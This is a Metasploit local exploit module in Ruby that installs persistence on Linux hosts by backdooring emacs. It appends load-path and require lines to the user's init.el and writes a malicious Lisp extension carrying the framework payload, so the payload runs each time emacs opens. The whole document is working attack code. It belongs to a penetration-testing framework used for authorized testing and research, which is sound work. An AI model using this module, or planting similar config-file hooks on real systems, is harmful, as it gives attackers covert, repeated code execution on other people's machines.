Emacs Extension Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Emacs Extension Persistence',
        'Description' => %q{
          This module adds a lisp based malicious extension to the emacs configuration file.
          When emacs is opened, the extension will be loaded and the payload will be executed.

          Tested against emacs 29.3 build 1 on Ubuntu Desktop 24.04.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die'
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          # Leo Laporte [02:39:08]: Plus, as easy as it would be to write a malicious plugin for Emacs, I don't think anybody's going to do that. The pickings are slim, let's put it that way.
          [ 'URL', 'https://twit.tv/posts/transcripts/security-now-1061-transcript'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
        ],
        'DisclosureDate' => '2026-01-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('NAME', [ false, 'Name of the extension. Defaults to random', '' ]),
      OptString.new('CONFIG_FILE', [ false, 'Config file location on target. Defaults to ~/init.el', '' ]),
    ]

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('emacs is required') unless command_exists?('emacs')

    CheckCode::Detected('emacs is installed')
  end

  def plugin_name
    return datastore['NAME'] unless datastore['NAME'].empty?

    Rex::Text.rand_text_alpha(5..10)
  end

  def get_home
    return cmd_exec('echo ~').strip
  end

  def install_persistence
    p_name = plugin_name
    vprint_status("Using plugin name: #{p_name}")
    emacs_dir = "#{get_home}/.emacs.d"
    config_file = datastore['CONFIG_FILE'].empty? ? "#{emacs_dir}/init.el" : datastore['CONFIG_FILE']
    lisp_dir = "#{emacs_dir}/lisp"
    extension_file = "#{lisp_dir}/#{p_name}.el"

    if file?(config_file)
      config_contents = read_file(config_file)
      path = store_loot('init.el', 'text/x-common-lisp', session, config_contents, nil, nil)
      print_good("Original config file saved in: #{path}")
      @clean_up_rc << "upload #{path} #{config_file}\n"
    else
      print_status("#{config_file} does not exist, creating it")
      mkdir(emacs_dir, cleanup: false) unless directory?(emacs_dir)
      write_file(config_file, '')
      @clean_up_rc << "rm #{config_file}\n"
    end

    unless directory?(lisp_dir)
      mkdir(lisp_dir, cleanup: false)
      @clean_up_rc << "rmdir #{lisp_dir}\n"
    end

    fail_with(Failure::UnexpectedReply, "Unable to append to extension to #{config_file}") unless append_file(config_file, "\n(add-to-list 'load-path \"#{lisp_dir}\")\n(require '#{p_name})\n")

    emacs_extension = File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'emacs_extension', 'template.el'
    ))
    emacs_extension = emacs_extension.gsub('PAYLOAD_PLACEHOLDER', payload.encoded)

    emacs_extension = emacs_extension.gsub('PLUGIN_NAME', p_name)
    fail_with(Failure::UnexpectedReply, "Unable to write extension #{extension_file}") unless write_file(extension_file, emacs_extension)
    @clean_up_rc << "rm #{extension_file}\n"
  end
end